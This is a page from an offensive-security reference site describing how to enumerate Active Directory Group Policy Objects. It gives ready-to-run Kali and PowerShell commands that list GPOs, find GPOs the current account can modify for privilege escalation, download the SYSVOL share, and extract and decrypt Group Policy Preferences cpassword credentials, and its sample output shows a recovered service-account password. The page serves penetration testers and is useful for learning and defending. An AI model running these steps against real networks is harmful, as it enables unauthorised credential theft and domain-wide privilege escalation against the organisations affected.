# GPO Enumeration

> Techniques for enumerating Group Policy Objects in Active Directory to identify misconfigurations, privileged settings, and potential attack paths.

- **URL:** https://hackindex.io/platforms/active-directory/enumeration/ad-gpo-enumeration
- **Path:** Active Directory > Enumeration
- **Up:** [Enumeration](https://hackindex.io/platforms/active-directory/enumeration.md)
- **Published:** 2026-06-11
- **Updated:** 2026-08-11

Group Policy Objects control security settings, startup scripts, scheduled tasks, and software deployment across the domain. Enumerating GPOs tells you which machines and users are affected by which policies, reveals GPOs you can modify (a direct privilege escalation path), and surfaces embedded credentials in SYSVOL that have persisted since Group Policy Preferences was deprecated.

- List all GPOs and identify which OUs they are linked to
- Check which GPOs your current account can modify (WriteProperty, GenericAll)
- Browse SYSVOL for startup scripts, logon scripts, and hardcoded credentials
- Extract GPP cpassword values from legacy XML files

## List all GPOs and their OU links

GPO metadata lives in LDAP under `CN=Policies,CN=System`. OU links are stored in the `gPLink` attribute on OU objects.

#### Kali (bloodyAD / ldapsearch)

**List GPOs and OU links (Kali)**

```bash
# List all GPOs with display name and SYSVOL path
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search \
    --filter '(objectClass=groupPolicyContainer)' \
    --attr displayName gPCFileSysPath

# ldapsearch: GPOs
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" \
    -b "CN=Policies,CN=System,$BASE_DN" '(objectClass=groupPolicyContainer)' \
    displayName gPCFileSysPath

# Which OUs have GPOs linked (gPLink contains GPO GUIDs)
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" \
    -b "$BASE_DN" '(gPLink=*)' distinguishedName gPLink
# displayName: Default Domain Policy
# gPCFileSysPath: \\corp.local\SysVol\corp.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
#
# displayName: IT Workstation Policy
# gPCFileSysPath: \\corp.local\SysVol\corp.local\Policies\{A4B3C2D1-...}
#
# distinguishedName: OU=Workstations,DC=corp,DC=local
# gPLink: [LDAP://cn={A4B3C2D1-...},cn=policies,...;0]
```

#### Windows (PowerView / RSAT)

**List GPOs and OU links (Windows)**

```powershell
# PowerView: all GPOs with display name and SYSVOL path
Get-DomainGPO | Select-Object displayname, gpcfilesyspath, whenCreated

# Which OUs have GPOs linked
Get-DomainOU | Where-Object {$_.gplink} | Select-Object name, distinguishedname, gplink

# Which GPOs apply to a specific computer
Get-DomainGPO -ComputerIdentity $TARGET_COMPUTER | Select-Object displayname

# RSAT: if Group Policy module available
Get-GPO -All | Select-Object DisplayName, Id, GpoStatus, CreationTime | Sort-Object DisplayName

# Applied GPOs on current machine
gpresult /r
# DisplayName              : Default Domain Policy
# DisplayName              : IT Workstation Policy
# DisplayName              : Server Hardening Policy
#
# gpresult /r:
# Applied Group Policy Objects
#     Default Domain Policy
#     IT Workstation Policy
```

## Find GPOs you can modify

A writable GPO is a privilege escalation path: modify it to add a local admin, run a startup script, or deploy a scheduled task on every machine the GPO applies to. Check which GPOs your current account has edit rights on.

#### Kali (bloodyAD)

**Find writable GPOs (Kali)**

```bash
# Check ACL on GPO container object: look for WriteProperty, GenericWrite, GenericAll
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable --detail \
    | grep -A3 'groupPolicyContainer\|Policies'

# Full ACL on all GPO objects
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" \
    -b "CN=Policies,CN=System,$BASE_DN" '(objectClass=groupPolicyContainer)' \
    displayName nTSecurityDescriptor
```

#### Windows (PowerView / RSAT)

**Find writable GPOs (Windows)**

```powershell
# PowerView: find GPOs current user can edit
Get-DomainGPO | ForEach-Object {
    $gpo = $_
    Get-DomainObjectAcl -Identity $gpo.distinguishedname -ResolveGUIDs | Where-Object {
        $_.IdentityReferenceName -match $USER -and
        $_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite'
    } | Select-Object @{N='GPO';E={$gpo.displayname}}, ActiveDirectoryRights
}

# RSAT: check permissions per GPO
Get-GPO -All | ForEach-Object {
    Get-GPPermissions -Guid $_.Id -All | Where-Object {
        $_.Permission -in 'GpoEdit','GpoEditDeleteModifySecurity' -and
        $_.Trustee.Name -match $USER
    } | Select-Object @{N='GPO';E={$_.GpoName}}, @{N='Permission';E={$_.Permission}}
}
# GPO: IT Workstation Policy  ActiveDirectoryRights: WriteProperty
```

A writable GPO can be abused with [GPO Abuse](https://hackindex.io/platforms/active-directory/exploitation/ad-gpo-abuse) to execute commands on all machines the GPO applies to. Target GPOs linked to OUs containing domain controllers or high-value servers for immediate impact.

## SYSVOL: read GPO content and find embedded credentials

SYSVOL is an SMB share on every DC containing GPO files, startup scripts, and logon scripts. Every domain user has read access. Group Policy Preferences XML files in SYSVOL historically stored AES-encrypted passwords: the key is published by Microsoft, making them trivially decryptable. Check every environment; old GPOs are rarely cleaned up.

#### Kali (smbclient / nxc)

**SYSVOL browsing and GPP credential extraction (Kali)**

```bash
# Mount SYSVOL and download all content
smbclient //$TARGET_IP/SYSVOL -U "$DOMAIN/$USER%$PASSWORD" -c 'recurse; prompt off; mget *'

# Search for GPP cpassword in downloaded content
grep -r 'cpassword' . 2>/dev/null

# Decrypt cpassword (Microsoft published the AES key)
gpp-decrypt $CPASSWORD_VALUE

# nxc automated modules: faster than manual
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M gpp_password
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M gpp_autologin

# Browse startup/logon scripts
smbclient //$TARGET_IP/SYSVOL -U "$DOMAIN/$USER%$PASSWORD" -c 'recurse; ls' \
    | grep -i 'scripts\|\.bat\|\.ps1\|\.vbs'
# SMB  10.10.10.10  445  DC01  [+] Found credentials in GPP
# SMB  10.10.10.10  445  DC01  Username: svc-deploy  Password: Deploy2019!
```

#### Windows (PowerShell)

**SYSVOL browsing and GPP credential extraction (Windows)**

```powershell
# List SYSVOL policies and scripts
$sysvol = "\\$DOMAIN\SYSVOL\$DOMAIN"
Get-ChildItem $sysvol -Recurse -ErrorAction SilentlyContinue | Select-Object FullName

# Find GPP cpassword in XML files
Get-ChildItem "$sysvol\Policies" -Recurse -Include '*.xml' -ErrorAction SilentlyContinue |
    Select-String 'cpassword' | Select-Object Path, LineNumber, Line

# Find startup and logon scripts
Get-ChildItem "$sysvol\Policies" -Recurse -Include '*.ps1','*.bat','*.vbs','*.cmd' |
    Select-Object FullName

# Read specific script
Get-Content "$sysvol\Policies\{GUID}\Machine\Scripts\Startup\setup.ps1"
# Path   : \\corp.local\SYSVOL\...\Groups.xml
# Line   :       cpassword="VPe/o9YRyz2cksnYRbNeqg=="
```

Startup scripts run as SYSTEM on machine boot. Logon scripts run in the context of the logging-in user. Either can contain hardcoded credentials, network share paths to other systems, or be writable by non-admins. Read every script found in SYSVOL.

## References

- [BloodyAD (GitHub)](https://github.com/CravateRouge/bloodyAD) - get search for groupPolicyContainer objects, get writable for GPO ACLs
- [NetExec / nxc (GitHub)](https://github.com/Pennyw0rth/NetExec) - gpp_password and gpp_autologin modules for automated SYSVOL credential extraction
- [PowerSploit / PowerView (GitHub)](https://github.com/PowerShellMafia/PowerSploit) - Get-DomainGPO, Get-DomainOU, Get-DomainObjectAcl for GPO permission enumeration
